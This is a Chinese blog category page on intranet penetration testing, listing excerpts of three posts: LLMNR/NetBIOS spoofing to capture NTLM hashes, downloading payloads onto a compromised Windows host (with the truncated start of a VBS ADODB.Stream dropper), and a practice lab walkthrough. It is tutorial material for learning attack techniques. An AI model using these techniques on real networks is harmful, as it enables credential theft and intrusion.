随笔分类 -  内网渗透

LLMNR和NetBIOS欺骗--获取win7 ntlm-hash
摘要：1、LLMNR和Netbios是什么 链路本地多播名称解析（LLMNR）是一个基于域名系统（DNS）数据包格式的协议NetBIOS，为网上基本输入输出系统（Network Basic Input/Output System）的缩写，它提供了OSI模型中的会话层服务，让在不同计算机上运行的不同程序，可 阅读全文
posted @ 2021-03-31 11:33 zw1sh 阅读(592) 评论(0) 推荐(1) 编辑
内网windows主机下载payload
摘要：当获取到内网一台windows主机时，其不能上传shell，可以执行命令，这时候可以上传或者从我们的服务器上下载payload 1、vbs #首先先向windows写入一个vbs脚本 echo set a=createobject(^"adod^"+^"b.stream^"):set w=creat 阅读全文
posted @ 2020-07-29 21:39 zw1sh 阅读(601) 评论(0) 推荐(0) 编辑
一次简单的内网渗透环境搭建及练手
摘要：1、搭建环境： 内网中有一台win server2008服务器、一台linux主机，一台windows或linux主机 这里主要的目标是获得PC1的shell 2、信息搜集 nmap扫一下该服务器： 先访问一下80端口，发现有一个网站页面 先用nikto扫一下该网站：发现了网站的架构，还有一些网站的 阅读全文
posted @ 2020-06-24 17:15 zw1sh 阅读(1194) 评论(0) 推荐(0) 编辑

点击右上角即可分享
微信分享提示